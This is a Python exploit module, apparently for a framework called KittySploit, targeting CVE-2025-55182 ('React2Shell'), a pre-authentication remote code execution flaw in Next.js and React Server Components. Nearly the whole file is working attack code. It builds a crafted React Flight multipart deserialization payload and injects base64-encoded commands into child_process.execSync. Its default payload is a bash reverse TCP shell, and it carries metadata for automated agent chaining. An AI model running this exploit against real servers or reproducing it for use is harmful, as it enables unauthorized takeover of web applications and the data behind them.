#!/usr/bin/env python3 # -*- coding: utf-8 -*- """React2Shell pre-auth RCE (CVE-2025-55182) on Next.js / React Server Components.""" import base64 import json import shlex from kittysploit import * from lib.protocols.http.http_client import Http_client from lib.scanner.http.nextjs_probe import ensure_nextjs_target class Module(Exploit, Http_client): __info__ = { 'name': 'React2Shell RCE (CVE-2025-55182)', 'description': ( 'Exploits CVE-2025-55182 (React2Shell) via React Flight multipart ' 'deserialization. Targets Next.js App Router and React Server ' 'Components endpoints using the _prefix / _formData gadget chain.' ), 'author': ['lachlan2k', 'KittySploit Team'], 'cve': ['CVE-2025-55182'], 'platform': Platform.MULTI, 'arch': [Arch.CMD], 'payload': { 'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD, }, 'references': [ 'https://nvd.nist.gov/vuln/detail/CVE-2025-55182', 'https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc', ], 'tags': ['react', 'nextjs', 'rsc', 'react2shell', 'rce', 'unauth', 'kev', 'cve-2025-55182'], 'agent': { 'risk': 'intrusive', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 3, 'reversible': False, 'approval_required': True, 'produces': ['exploit_paths', 'risk_signals', 'rce'], 'requires': {'tech_hints_any': ['nextjs', 'react']}, 'chain': { 'produces_capabilities': [ {'capability': 'rce', 'from_detail': 'react flight'}, {'capability': 'shell', 'from_detail': 'reverse CMD session'}, ], 'suggested_followups': ['scanner/http/react2shell_cve_2025_55182_detect'], }, }, } action_path = OptString('', 'Next.js server action path (empty = /)', required=False) command = OptString('', 'Command to run instead of the selected payload', required=False) shell = OptChoice('unix', 'Target shell wrapper', False, choices=['unix', 'windows'], advanced=True) def _flight_body(self, js_prefix: str) -> tuple[bytes, dict]: payload = { '0': '$1', '1': { 'status': 'resolved_model', 'reason': 0, '_response': '$4', 'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}', 'then': '$2:then', }, '2': '$@3', '3': [], '4': { '_prefix': js_prefix, '_formData': {'get': '$3:constructor:constructor'}, '_chunks': '$2:_response:_chunks', }, } boundary = f'----KittyReact2Shell{self.random_text(12)}' parts = [] for key, val in payload.items(): parts.append( f'--{boundary}\r\n' f'Content-Disposition: form-data; name="{key}"\r\n\r\n' f'{json.dumps(val)}\r\n' ) parts.append(f'--{boundary}--\r\n') headers = { 'Content-Type': f'multipart/form-data; boundary={boundary}', 'next-action': 'x', 'Accept': 'text/x-component', } return ''.join(parts).encode('utf-8'), headers def _target_paths(self): custom = str(self.action_path or '').strip() if custom: return [custom if custom.startswith('/') else f'/{custom}'] return ['/', '/api'] def _build_js_exec(self, cmd: str) -> str: b64 = base64.b64encode(cmd.encode()).decode() wrapper = str(self.shell or 'unix').strip().lower() if wrapper == 'windows': inner = ( f'process.mainModule.require("child_process").' f'execSync(Buffer.from("{b64}","base64").toString())' ) else: inner = ( f'process.mainModule.require("child_process").' f'execSync(Buffer.from("{b64}","base64").toString())' ) return f'{inner}//' def check(self): if not ensure_nextjs_target(self): return {'vulnerable': False, 'reason': 'Target does not look like Next.js/React RSC', 'confidence': 'low'} js_prefix = 'process.mainModule.require("child_process").execSync("echo kitty-r2s-check")//' body, headers = self._flight_body(js_prefix) for path in self._target_paths(): r = self.http_request(method='POST', path=path, headers=headers, data=body, allow_redirects=False) if r and r.status_code in (200, 500): text = r.text or '' if 'kitty-r2s-check' in text: return {'vulnerable': True, 'reason': 'React2Shell probe command reflected', 'confidence': 'high'} if any(t in text.lower() for t in ('flight', 'chunk', 'react-server', 'rsc')): return {'vulnerable': True, 'reason': 'React Flight endpoint accepts deserialization payload', 'confidence': 'medium'} return {'vulnerable': False, 'reason': 'React2Shell probe did not succeed', 'confidence': 'medium'} def run(self): cmd = str(self.command or '').strip() or str(self.payload or '').strip() if not cmd: print_error('Set a payload or command option') return False print_status('CVE-2025-55182 — React2Shell RCE') chk = self.check() if not chk.get('vulnerable'): print_error(chk.get('reason', 'Target not vulnerable')) self.not_vulnerable() return False print_success(chk.get('reason', 'Target appears vulnerable')) js_prefix = self._build_js_exec(cmd) body, headers = self._flight_body(js_prefix) for path in self._target_paths(): print_status(f'Sending exploit to {path}...') self.http_request(method='POST', path=path, headers=headers, data=body, allow_redirects=False) print_success('Payload dispatched — check listener for session') self.vulnerable() return True